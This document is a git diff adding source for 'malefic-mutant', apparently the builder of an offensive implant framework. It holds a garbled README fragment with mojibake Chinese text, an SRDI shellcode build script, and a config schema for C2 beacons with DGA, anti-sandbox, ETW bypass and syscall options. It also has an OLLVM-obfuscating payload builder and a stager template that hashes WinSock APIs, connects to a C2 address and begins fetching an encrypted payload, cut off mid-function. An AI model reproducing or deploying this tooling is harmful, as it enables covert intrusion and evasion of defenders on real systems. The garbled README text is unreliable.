"version.dll" + proxied_dll: "version_orig.dll" + proxyfunc: "GetFileVersionInfoW" + evader: + anti_emu: true + etw_pass: true + god_speed: false + obfuscate: + strings: true # 编译期 AES 字符串加密 + junk: true # åžƒåœ¾ä»£ç æ³¨å…¥ + memory: true # Shellcode 执行åŽå®‰å…¨æ¸…é›¶ +``` + +## 目录结构 + +``` +malefic-mutant/ +├── Cargo.toml +├── config_lint.json # YAML é…ç½® JSON Schema +├── src/ +│ ├── main.rs # CLI å…¥å£ä¸Žå‘½ä»¤ç¼–排 +│ ├── cmd.rs # Clap 命令定义 +│ ├── config/mod.rs # é…置结构体定义 +│ ├── logger.rs # 彩色日志系统 +│ ├── generate/ +│ │ ├── codegen.rs # beacon/bind é…置代ç ç”Ÿæˆ +│ │ ├── features.rs # Feature 标记解æžä¸Ž Cargo.toml 修改 +│ │ ├── cargo_features.rs # 工作区 crate feature ç®¡ç† +│ │ ├── prelude.rs # Prelude é…ç½®ç”Ÿæˆ +│ │ ├── resources.rs # 资æºå…ƒæ•°æ®ç”Ÿæˆï¼ˆRC/manifest) +│ │ └── spites.rs # Spite 二进制åºåˆ—化 +│ ├── build/ +│ │ ├── payload/mod.rs # Payload 编译(OLLVM / zigbuild / cargo) +│ │ └── pulse/ # Pulse æž„å»ºç”Ÿæˆ +│ └── tool/ +│ ├── encoder/ # 12 ç§ç¼–ç æ–¹æ¡ˆ +│ ├── loader/ # Template / ProxyDLL / Patch loader +│ ├── obfuscate/ # æºç çº§ AST æ··æ·† +│ ├── pe/ # PE è§£æžä¸Ž objcopy +│ ├── sigforge/ # PE ç­¾åæ“ä½œ +│ ├── srdi/ # SRDI shellcode ç”Ÿæˆ +│ ├── binder/ # PE æ†ç»‘器 +│ ├── watermark/ # PE æ°´å° +│ ├── icon/ # ICO å¤„ç† +│ ├── entropy/ # Shannon 熵分æžä¸Žé™ä½Ž +│ ├── strip/ # 路径剥离 +│ ├── patch.rs # äºŒè¿›åˆ¶å­—æ®µè¡¥ä¸ +│ └── proxydll/ # ProxyDLL 资æºç®¡ç† +``` + +## ä¾èµ– + +| Crate | 用途 | +|-------|------| +| `malefic-proto` | å议定义与 Protobuf åºåˆ—化 | +| `malefic-config` | è¿è¡Œæ—¶é…ç½®ç¼–ç  | +| `malefic-codec` | Payload ç¼–è§£ç ï¼ˆ12 ç§ç®—法) | +| `malefic-common` | 公共工具函数 | +| `malefic-obfuscate` | æ··æ·†å®å®šä¹‰ | +| `goblin` | PE/ELF/Mach-O äºŒè¿›åˆ¶è§£æž | +| `syn` / `quote` | Rust AST æ“作(æºç æ··æ·†ï¼‰ | +| `clap` | CLI 傿•°è§£æž | +| `rustls` | TLS è¯ä¹¦å…‹éš†ï¼ˆcarbon-copy) | diff --git a/malefic-mutant/build.rs b/malefic-mutant/build.rs new file mode 100644 index 0000000..e809a81 --- /dev/null +++ b/malefic-mutant/build.rs @@ -0,0 +1,139 @@ +// malefic-mutant build.rs +// +// When `rebuild_srdi` feature is enabled, compiles malefic-srdi from source +// for x86_64 and i686 MSVC targets, extracts the .text section from each PE, +// and writes the raw shellcode bytes to OUT_DIR for include_bytes!(). +// +// Without the feature, this is a no-op — the hardcoded bytes in shellcode.rs are used. + +fn main() { + #[cfg(feature = "rebuild_srdi")] + rebuild_srdi::run(); +} + +#[cfg(feature = "rebuild_srdi")] +mod rebuild_srdi { + use std::path::{Path, PathBuf}; + use std::process::Command; + + struct Target { + triple: &'static str, + out_name: &'static str, + } + + const TARGETS: &[Target] = &[ + Target { + triple: "x86_64-pc-windows-msvc", + out_name: "malefic_srdi_x64.bin", + }, + Target { + triple: "i686-pc-windows-msvc", + out_name: "malefic_srdi_x32.bin", + }, + ]; + + /// RUSTFLAGS matching the original .cargo/config.toml from malefic-srdi. + fn rustflags() -> String { + [ + "-Z pre-link-arg=/NOLOGO", + "-Z pre-link-arg=/NOENTRY", + "-C link-arg=/ENTRY:main", + "-C link-arg=/MERGE:.edata=.rdata", + "-C link-arg=/MERGE:.rustc=.data", + "-C link-arg=/MERGE:.rdata=.text", + "-C link-arg=/MERGE:.pdata=.text", + "-C link-arg=/DEBUG:NONE", + "-C link-arg=/EMITPOGOPHASEINFO", + "-C link-arg=/NODEFAULTLIB", + "-C target-feature=-mmx,-sse,+soft-float", + ] + .join(" ") + } + + /// Find the workspace root (where the top-level Cargo.toml lives). + fn workspace_root() -> PathBuf { + let manifest_dir = std::env::var("CARGO_MANIFEST_DIR").unwrap(); + // malefic-mutant is at workspace_root/malefic-mutant + Path::new(&manifest_dir) + .parent() + .expect("cannot find workspace root") + .to_path_buf() + } + + fn compile_srdi(ws_root: &Path, target: &Target) -> PathBuf { + let flags = rustflags(); + + let status = Command::new("cargo") + .arg("+nightly") + .args(["build", "-p", "malefic-srdi"]) + .args(["--features", "standalone"]) + .arg("-Zbuild-std=core,alloc") + .args(["--target", target.triple]) + .arg("--release") + .env("RUSTFLAGS", &flags) + // Clear inherited cargo env that overrides RUSTFLAGS in nested builds + .env_remove("CARGO_ENCODED_RUSTFLAGS") + .env_remove("CARGO_MAKEFLAGS") + .current_dir(ws_root) + .status() + .unwrap_or_else(|e| panic!("Failed to invoke cargo for {}: {}", target.triple, e)); + + if !status.success() { + panic!( + "cargo build failed for malefic-srdi target {}", + target.triple + ); + } + + ws_root + .join("target") + .join(target.triple) + .join("release") + .join("malefic-srdi.exe") + } + + fn extract_text_section(pe_path: &Path) -> Vec { + let data = std::fs::read(pe_path) + .unwrap_or_else(|e| panic!("Cannot read PE {}: {}", pe_path.display(), e)); + + let pe = goblin::pe::PE::parse(&data) + .unwrap_or_else(|e| panic!("Cannot parse PE {}: {}", pe_path.display(), e)); + + for section in &pe.sections { + let name = String::from_utf8_lossy(§ion.name); + if name.starts_with(".text") { + let offset = section.pointer_to_raw_data as usize; + let size = section.size_of_raw_data as usize; + return data[offset..offset + size].to_vec(); + } + } + + panic!("No .text section found in {}", pe_path.display()); + } + + pub fn run() { + let ws_root = workspace_root(); + let out_dir = PathBuf::from(std::env::var("OUT_DIR").unwrap()); + + // Rerun only when srdi source changes + let srdi_src = ws_root.join("malefic-crates").join("srdi").join("src"); + println!("cargo:rerun-if-changed={}", srdi_src.display()); + + for target in TARGETS { + eprintln!( + "[build.rs] Compiling malefic-srdi for {} ...", + target.triple + ); + let pe_path = compile_srdi(&ws_root, target); + let text = extract_text_section(&pe_path); + let out_path = out_dir.join(target.out_name); + std::fs::write(&out_path, &text) + .unwrap_or_else(|e| panic!("Cannot write {}: {}", out_path.display(), e)); + eprintln!( + "[build.rs] Extracted {} bytes -> {}", + text.len(), + out_path.display() + ); + } + } +} diff --git a/malefic-mutant/config_lint.json b/malefic-mutant/config_lint.json new file mode 100644 index 0000000..5acdba5 --- /dev/null +++ b/malefic-mutant/config_lint.json @@ -0,0 +1,424 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "type": "object", + "properties": { + "basic": { + "type": "object", + "properties": { + "name": {"type": "string"}, + "proxy": { + "type": "object", + "properties": { + "use_env_proxy": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["proxy"] + } + }, + "url": { + "type": "string", + "x-cargo-features": { + "type": "non_empty", + "features": ["proxy"] + } + } + } + }, + "cron": {"type": "string"}, + "jitter": {"type": "number"}, + "keepalive": {"type": "boolean"}, + "retry": {"type": "integer"}, + "max_cycles": {"type": "integer"}, + "encryption": { + "type": "string", + "x-cargo-features": { + "type": "enum_map", + "mapping": { + "aes": ["crypto_aes"], + "chacha20": ["crypto_chacha20"], + "*": ["crypto_xor"] + } + } + }, + "key": {"type": "string"}, + "secure": { + "type": "object", + "properties": { + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["secure"] + } + }, + "private_key": {"type": "string"}, + "public_key": {"type": "string"} + }, + "required": ["enable"] + }, + "dga": { + "type": "object", + "properties": { + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["dga"] + } + }, + "key": {"type": "string"}, + "interval_hours": {"type": "integer"} + } + }, + "guardrail": { + "type": "object", + "properties": { + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["guardrail"] + } + }, + "require_all": {"type": "boolean"}, + "ip_addresses": { + "type": "array", + "items": {"type": "string"} + }, + "usernames": { + "type": "array", + "items": {"type": "string"} + }, + "server_names": { + "type": "array", + "items": {"type": "string"} + }, + "domains": { + "type": "array", + "items": {"type": "string"} + } + }, + "required": ["enable"] + }, + "targets": { + "type": "array", + "items": { + "type": "object", + "x-cargo-features-group": { + "presence_fields": { + "http": ["transport_http"], + "rem": ["transport_rem"] + }, + "default_when_absent": ["transport_tcp"] + }, + "properties": { + "address": {"type": "string"}, + "domain_suffix": {"type": "string"}, + "http": { + "type": "object", + "properties": { + "method": {"type": "string"}, + "path": {"type": "string"}, + "version": {"type": "string"}, + "headers": { + "type": "object", + "additionalProperties": {"type": "string"} + } + } + }, + "tcp": {"type": "object"}, + "tls": { + "type": "object", + "properties": { + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["tls"] + } + }, + "version": {"type": "string"}, + "sni": {"type": "string"}, + "skip_verification": {"type": "boolean"}, + "mtls": { + "type": "object", + "properties": { + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["mtls"] + } + }, + "client_cert": {"type": "string"}, + "client_key": {"type": "string"}, + "server_ca": {"type": "string"} + } + } + } + }, + "rem": { + "type": "object", + "properties": { + "link": {"type": "string"} + } + } + }, + "required": ["address"] + } + } + }, + "required": ["retry","encryption","key", "cron", "jitter", "targets"] + }, + "build": { + "type": "object", + "properties": { + "zigbuild": {"type": "boolean"}, + "remap": {"type": "boolean"}, + "toolchain": {"type": "string"}, + "srdi": {"type": "boolean"}, + "objcopy": {"type": "boolean"}, + "signforge": { + "type": "object", + "properties": { + "input_file": {"type": "string"}, + "signature_path": {"type": "string"} + } + }, + "ollvm": { + "type": "object", + "properties": { + "enable": {"type": "boolean"}, + "bcfobf": {"type": "boolean"}, + "splitobf": {"type": "boolean"}, + "subobf": {"type": "boolean"}, + "fco": {"type": "boolean"}, + "constenc": {"type": "boolean"} + } + }, + "metadata": { + "type": "object", + "properties": { + "remap_path": {"type": "string"}, + "icon": {"type": "string"}, + "compile_time": {"type": "string"}, + "file_version": {"type": "string"}, + "product_version": {"type": "string"}, + "company_name": {"type": "string"}, + "product_name": {"type": "string"}, + "original_filename": {"type": "string"}, + "file_description": {"type": "string"}, + "internal_name": {"type": "string"}, + "require_admin": {"type": "boolean"}, + "require_uac": {"type": "boolean"} + } + } + } + }, + "pulse": { + "type": "object", + "properties": { + "flags": { + "type": "object", + "properties": { + "start": {"type": "integer"}, + "end": {"type": "integer"}, + "magic": {"type": "string"}, + "artifact_id": {"type": "integer"} + } + }, + "encryption": {"type": "string"}, + "key": {"type": "string"}, + "target": {"type": "string"}, + "protocol": {"type": "string"}, + "http": { + "type": "object", + "properties": { + "method": {"type": "string"}, + "path": {"type": "string"}, + "host": {"type": "string"}, + "version": {"type": "string"}, + "headers": { + "type": "object", + "additionalProperties": {"type": "string"} + } + } + } + } + }, + "implants": { + "type": "object", + "properties": { + "runtime": { + "type": "string", + "x-cargo-features": { + "type": "enum_map", + "mapping": { + "tokio": [], + "smol": [], + "async-std": [], + "*": [] + } + } + }, + "mod": { + "type": "string", + "x-cargo-features": { + "type": "enum_map", + "mapping": { + "beacon": ["beacon"], + "bind": ["bind"] + } + } + }, + "register_info": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["register_info"] + } + }, + "hot_load": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["hot_load"] + } + }, + "addon": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["addon"] + } + }, + "modules": { + "type": "array", + "items": {"type": "string"} + }, + "enable_3rd": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["malefic-3rd"] + } + }, + "3rd_modules": { + "type": "array", + "items": {"type": "string"} + }, + "prelude": {"type": "string"}, + "autorun": {"type": "string"}, + "pack": { + "type": "array", + "items": { + "type": "object", + "properties": { + "src": {"type": "string"}, + "dst": {"type": "string"} + } + } + }, + "flags": { + "type": "object", + "properties": { + "start": {"type": "integer"}, + "end": {"type": "integer"}, + "magic": {"type": "string"}, + "artifact_id": {"type": "integer"} + } + }, + "anti": { + "type": "object", + "properties": { + "sandbox": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["anti_sandbox"] + } + }, + "vm": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["anti_vm"] + } + }, + "debug": {"type": "boolean"}, + "disasm": {"type": "boolean"}, + "emulator": {"type": "boolean"}, + "forensic": {"type": "boolean"} + } + }, + "apis": { + "type": "object", + "properties": { + "level": {"type": "string"}, + "priority": { + "type": "object", + "properties": { + "normal": { + "type": "object", + "properties": { + "enable": {"type": "boolean"}, + "type": {"type": "string"} + }, + "required": ["enable", "type"] + }, + "dynamic": { + "type": "object", + "properties": { + "enable": {"type": "boolean"}, + "type": {"type": "string"} + }, + "required": ["enable", "type"] + }, + "syscalls": { + "type": "object", + "properties": { + "enable": {"type": "boolean"}, + "type": {"type": "string"} + }, + "required": ["enable", "type"] + } + }, + "required": ["normal", "dynamic", "syscalls"] + } + }, + "required": ["level", "priority"] + }, + "alloctor": { + "type": "object", + "properties": { + "inprocess": {"type": "string"}, + "crossprocess": {"type": "string"} + }, + "required": ["inprocess", "crossprocess"] + }, + "thread_stack_spoofer": {"type": "boolean"} + }, + "required": ["runtime", "mod", "register_info", "hot_load", "modules" ] + } + }, + "required": ["basic", "build", "pulse", "implants"], + "loader": { + "type": "object", + "properties": { + "evader": { + "type": "object", + "properties": { + "anti_emu": { "type": "boolean" }, + "etw_pass": { "type": "boolean" }, + "god_speed": { "type": "boolean" }, + "sleep_encrypt": { "type": "boolean" }, + "anti_forensic": { "type": "boolean" }, + "cfg_patch": { "type": "boolean" }, + "api_untangle": { "type": "boolean" }, + "normal_api": { "type": "boolean" } + } + } + } + } +} diff --git a/malefic-mutant/src/build/mod.rs b/malefic-mutant/src/build/mod.rs new file mode 100644 index 0000000..a9654c8 --- /dev/null +++ b/malefic-mutant/src/build/mod.rs @@ -0,0 +1,60 @@ +use crate::config::{GenerateArch, PulseConfig, Version}; +use crate::{tool, Platform}; + +pub mod payload; +pub mod pulse; + +pub fn pulse_generate( + config: PulseConfig, + platform: Platform, + arch: GenerateArch, + version: Version, + source: bool, +) -> anyhow::Result<()> { + match platform { + Platform::Win => pulse::pulse_generate(config, arch, version, source), + _ => { + anyhow::bail!("Unsupported platform."); + } + } +} + +pub fn link_srdi_generator( + src_path: &str, + platform: Platform, + arch: GenerateArch, + target_path: &str, + function_name: &String, + user_data: &[u8], +) -> anyhow::Result<()> { + match platform { + Platform::Win => { + tool::srdi::link_srdi_generator(src_path, arch, target_path, function_name, user_data) + } + _ => { + anyhow::bail!("Unsupported platform."); + } + } +} + +pub fn malefic_srdi_generator( + src_path: &str, + platform: Platform, + arch: GenerateArch, + target_path: &str, + function_name: &String, + user_data: &[u8], +) -> anyhow::Result<()> { + match platform { + Platform::Win => tool::srdi::malefic_srdi_generator( + src_path, + &arch, + target_path, + function_name, + user_data, + ), + _ => { + anyhow::bail!("Unsupported platform."); + } + } +} diff --git a/malefic-mutant/src/build/payload/mod.rs b/malefic-mutant/src/build/payload/mod.rs new file mode 100644 index 0000000..6c65747 --- /dev/null +++ b/malefic-mutant/src/build/payload/mod.rs @@ -0,0 +1,316 @@ +#![allow(non_camel_case_types)] +use crate::config::BuildConfig; +use crate::tool::strip::strip_paths_from_binary; +use crate::{cmd::PayloadType, log_error, log_step, log_success, log_warning}; +use duct::cmd; +use std::str::FromStr; +use strum_macros::Display; + +static OLLVM_FLGAS: &str = "resources/ollvm-flags"; + +#[derive(Clone, Display)] +pub enum OllvmAllow { + #[strum(serialize = "x86_64-pc-windows-gnu")] + X86_64_WINDOWS_GNU, + #[strum(serialize = "x86_64-unknown-linux-gnu")] + X86_64_LINUX_GNU, + // #[strum(serialize = "i686-pc-windows-gnu")] + // I686_WINDOWS_GNU, + // #[strum(serialize = "i686-unknown-linux-gnu")] + // I686_LINUX_GNU, +} + +impl FromStr for OllvmAllow { + type Err = String; + + fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "x86_64-pc-windows-gnu" => Ok(OllvmAllow::X86_64_WINDOWS_GNU), + "x86_64-unknown-linux-gnu" => Ok(OllvmAllow::X86_64_LINUX_GNU), + // "i686-pc-windows-gnu" => Ok(OllvmAllow::I686_WINDOWS_GNU), + // "i686-unknown-linux-gnu" => Ok(OllvmAllow::I686_LINUX_GNU), + _ => Err(format!("'{}' is not a valid value for OllvmAllow", s)), + } + } +} + +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum BuildProfile { + Dev, + Release, +} + +impl BuildProfile { + pub fn from_dev(dev: bool) -> Self { + if dev { + Self::Dev + } else { + Self::Release + } + } + + pub fn is_release(self) -> bool { + matches!(self, Self::Release) + } + + pub fn output_dir(self) -> &'static str { + match self { + Self::Dev => "debug", + Self::Release => "release", + } + } +} + +pub fn build_payload( + config: &mut BuildConfig, + payload_type: &PayloadType, + target: &String, + features: Option<&Vec>, + build_lib: bool, + profile: BuildProfile, +) -> anyhow::Result<()> { + let mut args: Vec = Vec::new(); + let package = match payload_type { + PayloadType::THIRD => "malefic-3rd".to_string(), + _ => payload_type.to_string(), + }; + + let target_platform = detect_target_platform(target)?; + let build_lib = normalize_build_kind(payload_type, build_lib, target_platform)?; + + let ollvm_flag = std::fs::File::open(OLLVM_FLGAS); + let ollvm_allowed = config.ollvm.enable && OllvmAllow::from_str(target).is_ok(); + let use_ollvm = profile.is_release() && ollvm_allowed; + + if config.ollvm.enable && !profile.is_release() { + log_warning!("--dev disables OLLVM; falling back to the standard cargo backend"); + } + + if use_ollvm { + if ollvm_flag.is_err() { + std::fs::File::create(OLLVM_FLGAS)?; + } + let _ = cmd("rustup", ["default", "ollvm16-rust-1.74.0"]).run()?; + args.push("rustc".to_string()); + args.push("--release".to_string()); + args.push("--target".to_string()); + args.push(target.clone()); + args.push("-p".to_string()); + args.push(package.clone()); + if build_lib { + args.push("--lib".to_string()); + } else { + args.push("--bin".to_string()); + args.push(package.clone()); + } + args.push("--".to_string()); + + if config.ollvm.bcfobf { + args.push("-Cllvm-args=-enable-bcfobf".to_string()); + } + if config.ollvm.splitobf { + args.push("-Cllvm-args=-enable-splitobf".to_string()); + } + if config.ollvm.subobf { + args.push("-Cllvm-args=-enable-subobf".to_string()); + } + if config.ollvm.fco { + args.push("-Cllvm-args=-enable-fco".to_string()); + } + if config.ollvm.constenc { + args.push("-Cllvm-args=-enable-constenc".to_string()); + } + args.push("-Cdebuginfo=0".to_string()); + args.push("-Cstrip=symbols".to_string()); + args.push("-Cpanic=abort".to_string()); + args.push("-Copt-level=3".to_string()); + } else { + if ollvm_flag.is_ok() { + std::fs::remove_file(OLLVM_FLGAS)?; + } + let toolchain = config.toolchain.clone(); + let _ = cmd("rustup", ["default", &*toolchain]).run()?; + if config.zigbuild { + args.push("zigbuild".to_string()); + } else { + args.push("build".to_string()) + } + if profile.is_release() { + args.push("--release".to_string()); + } + args.push("--target".to_string()); + args.push(target.clone()); + args.push("-p".to_string()); + args.push(package.clone()); + if build_lib { + args.push("--lib".to_string()); + } else { + args.push("--bin".to_string()); + args.push(package.clone()); + } + }; + + let feature_string = features.filter(|f| !f.is_empty()).map(|f| f.join(",")); + + if let Some(ref fs) = feature_string { + args.push("--features".to_string()); + args.push(fs.clone()); + } + + // YY-Thunks + let mut cargo_cmd = cmd("cargo", args); + if target == "i686-pc-windows-msvc" { + cargo_cmd = cargo_cmd.env("YY_THUNKS_TARGET_OS", "WinXP"); + } + + let result = cargo_cmd.stderr_to_stdout().stdout_capture().reader()?; + + use std::io::{BufRead, BufReader}; + let reader = BufReader::new(result); + let mut has_error = false; + + for line in reader.lines() { + match line { + Ok(line) => { + if line.contains("error:") { + log_error!("{}", line); + has_error = true; + } else { + log_step!("{}", line); + } + } + Err(_) => break, + } + } + + if has_error { + return Err(anyhow::anyhow!( + "Build failed - compilation errors detected" + )); + } + let binary_path = compute_output_path(&package, target, target_platform, build_lib, profile); + if profile.is_release() { + let _ = strip_paths_from_binary(&binary_path, &binary_path, &[]); + } else { + log_step!("Skipping path stripping for dev build"); + } + + log_success!( + "Build completed: {} ({} bytes)", + binary_path, + std::fs::metadata(&binary_path) + .map(|m| m.len()) + .unwrap_or(0) + ); + + Ok(()) +} + +#[derive(Clone, Copy, Debug)] +enum TargetPlatform { + Windows, + Linux, + Mac, +} + +fn detect_target_platform(target: &str) -> anyhow::Result { + let target_lower = target.to_lowercase(); + if target_lower.contains("windows") { + Ok(TargetPlatform::Windows) + } else if target_lower.contains("linux") { + Ok(TargetPlatform::Linux) + } else if target_lower.contains("darwin") || target_lower.contains("apple") { + Ok(TargetPlatform::Mac) + } else { + anyhow::bail!("Unsupported target triple: {}", target); + } +} + +fn normalize_build_kind( + payload_type: &PayloadType, + requested_lib: bool, + platform: TargetPlatform, +) -> anyhow::Result { + let requires_lib = matches!( + payload_type, + PayloadType::MODULES | PayloadType::THIRD | PayloadType::PROXYDLL + ); + let allows_bin = matches!( + payload_type, + PayloadType::MALEFIC | PayloadType::PRELUDE | PayloadType::PULSE + ); + let allows_lib = matches!( + payload_type, + PayloadType::MALEFIC + | PayloadType::MODULES + | PayloadType::THIRD + | PayloadType::PROXYDLL + | PayloadType::PULSE + ); + + let build_lib = requires_lib || requested_lib; + + if build_lib && !allows_lib { + anyhow::bail!( + "{} does not support building as a shared library", + payload_type + ); + } + if !build_lib && !allows_bin { + anyhow::bail!( + "{} currently only supports building as a shared library", + payload_type + ); + } + + // Platform compatibility gate + match payload_type { + PayloadType::PULSE | PayloadType::MODULES | PayloadType::THIRD | PayloadType::PROXYDLL => { + if !matches!(platform, TargetPlatform::Windows) { + anyhow::bail!("{} currently only supports Windows targets", payload_type); + } + } + _ => {} + } + + Ok(build_lib) +} + +fn compute_output_path( + package: &str, + target: &str, + platform: TargetPlatform, + build_lib: bool, + profile: BuildProfile, +) -> String { + let (prefix, ext) = if build_lib { + match platform { + TargetPlatform::Windows => ("", "dll"), + TargetPlatform::Linux => ("lib", "so"), + TargetPlatform::Mac => ("lib", "dylib"), + } + } else { + match platform { + TargetPlatform::Windows => ("", "exe"), + _ => ("", ""), + } + }; + + // lib outputs use underscores (Rust convention), bin outputs keep hyphens + let base = if build_lib { + package.replace('-', "_") + } else { + package.to_string() + }; + + let mut filename = String::new(); + if !prefix.is_empty() { + filename.push_str(prefix); + } + filename.push_str(&base); + if !ext.is_empty() { + filename.push('.'); + filename.push_str(ext); + } + format!("target/{}/{}/{}", target, profile.output_dir(), filename) +} diff --git a/malefic-mutant/src/build/pulse/http.rs b/malefic-mutant/src/build/pulse/http.rs new file mode 100644 index 0000000..c4b21cd --- /dev/null +++ b/malefic-mutant/src/build/pulse/http.rs @@ -0,0 +1,326 @@ +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; +use crate::config::{GenerateArch, PulseConfig, Version}; + +pub fn generate_http_pulse( + config: PulseConfig, + _arch: GenerateArch, + _version: &Version, + _source: bool, +) -> anyhow::Result<()> { + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); + } + let template = std::fs::read_to_string(template_path)?; + + let url = &config.target; + if url.is_empty() { + anyhow::bail!("target url is empty."); + } + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + + let mut http_header = config.http.build(10); + http_header.push_str("\\r\\n"); + + let magic = djb2_hash(&config.flags.magic); + let key = &config.key; + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + let ip_bytes = format_byte_literals(ip.as_bytes()); + let header_bytes = format_byte_literals(http_header.as_bytes()); + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} + + fn find_crlf2(buf: &[u8], len: usize) -> isize {{ + if len < 4 {{ return -1; }} + let mut i = 0usize; + while i <= len - 4 {{ + if buf[i] == b'\r' && buf[i+1] == b'\n' + && buf[i+2] == b'\r' && buf[i+3] == b'\n' {{ + return i as isize; + }} + i += 1; + }} + -1 + }} + + fn make_http_request( + header: &[u8], body: &[u8], out: &mut [u8], + ) -> usize {{ + let mut pos = 0usize; + for &b in header.iter() {{ + if pos >= out.len() {{ break; }} + out[pos] = b; + pos += 1; + }} + for &b in body.iter() {{ + if pos >= out.len() {{ break; }} + out[pos] = b; + pos += 1; + }} + pos + }} + + // Load ws2_32.dll + let dll_name: [u8; 11] = [b'w', b's', b'2', b'_', b'3', b'2', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let ws2 = load_lib(dll_name.as_ptr() as *mut u8); + if ws2.is_null() {{ return; }} + let ws2_base = ws2 as usize; + + // Resolve WinSock APIs via hash + let wsa_startup: FnWSAStartup = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("WSAStartup") as usize)); + let p_socket: FnSocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("socket") as usize)); + let p_connect: FnConnect = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("connect") as usize)); + let p_send: FnSend = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("send") as usize)); + let p_recv: FnRecv = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("recv") as usize)); + let p_closesocket: FnClosesocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("closesocket") as usize)); + let p_inet_addr: FnInetAddr = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("inet_addr") as usize)); + let p_htons: FnHtons = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("htons") as usize)); + + // WSAStartup + let mut wsa_data: WSADATA = core::mem::zeroed(); + if wsa_startup(0x0202, &mut wsa_data) != 0 {{ return; }} + + // Create socket + let sock = p_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if sock == 0 || sock == usize::MAX {{ return; }} + + // Connect + let ip_addr: [u8; {ip_len}] = [{ip_bytes}, 0]; + let addr = SOCKADDR_IN {{ + sin_family: AF_INET as i16, + sin_port: p_htons({port}), + sin_addr: IN_ADDR {{ s_addr: p_inet_addr(ip_addr.as_ptr()) }}, + sin_zero: [0; 8], + }}; + if p_connect(sock, &addr, core::mem::size_of::() as i32) != 0 {{ + p_closesocket(sock); + return; + }} + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + let header: [u8; {header_len}] = [{header_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // Build HTTP request: header + body + let mut buf: [u8; 0x100] = [0; 0x100]; + let req_len = make_http_request(&header, &body, &mut buf); + + // Send HTTP request + let ret = p_send(sock, buf.as_ptr(), req_len as i32, 0); + if ret <= 0 {{ p_closesocket(sock); return; }} + + // Receive HTTP response and find body + let mut recv_buf: [u8; 0x100] = [0; 0x100]; + let mut body_offset: isize = -1; + let mut total_recv = 0usize; + + loop {{ + let space = if total_recv < 4 {{ 0 }} else {{ total_recv - 4 }}; + let ret = p_recv( + sock, + recv_buf.as_mut_ptr().add(total_recv), + (0x100 - total_recv) as i32, + 0, + ); + if ret <= 0 {{ p_closesocket(sock); return; }} + total_recv += ret as usize; + + body_offset = find_crlf2( + &recv_buf[space..total_recv], + total_recv - space, + ); + if body_offset >= 0 {{ + body_offset += space as isize; + break; + }} + if total_recv >= 0x100 {{ p_closesocket(sock); return; }} + }} + + let body_start = (body_offset as usize) + 4; + + // Read response body (9 bytes header) + let mut resp_body: [u8; 9] = [0; 9]; + let available = if body_start < total_recv {{ total_recv - body_start }} else {{ 0 }}; + if available >= 9 {{ + let mut i = 0usize; + while i < 9 {{ + resp_body[i] = recv_buf[body_start + i]; + i += 1; + }} + }} else {{ + let mut i = 0usize; + while i < available {{ + resp_body[i] = recv_buf[body_start + i]; + i += 1; + }} + let mut offset = available; + while offset < 9 {{ + let ret = p_recv( + sock, + resp_body.as_mut_ptr().add(offset), + (9 - offset) as i32, + 0, + ); + if ret <= 0 {{ p_closesocket(sock); return; }} + offset += ret as usize; + }} + }} + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp_body, &key, &iv, &mut counter); + if resp_body[0] != {start}u8 {{ p_closesocket(sock); return; }} + let recv_magic = u32::from_le_bytes([resp_body[1], resp_body[2], resp_body[3], resp_body[4]]); + let recv_len = u32::from_le_bytes([resp_body[5], resp_body[6], resp_body[7], resp_body[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ p_closesocket(sock); return; }} + 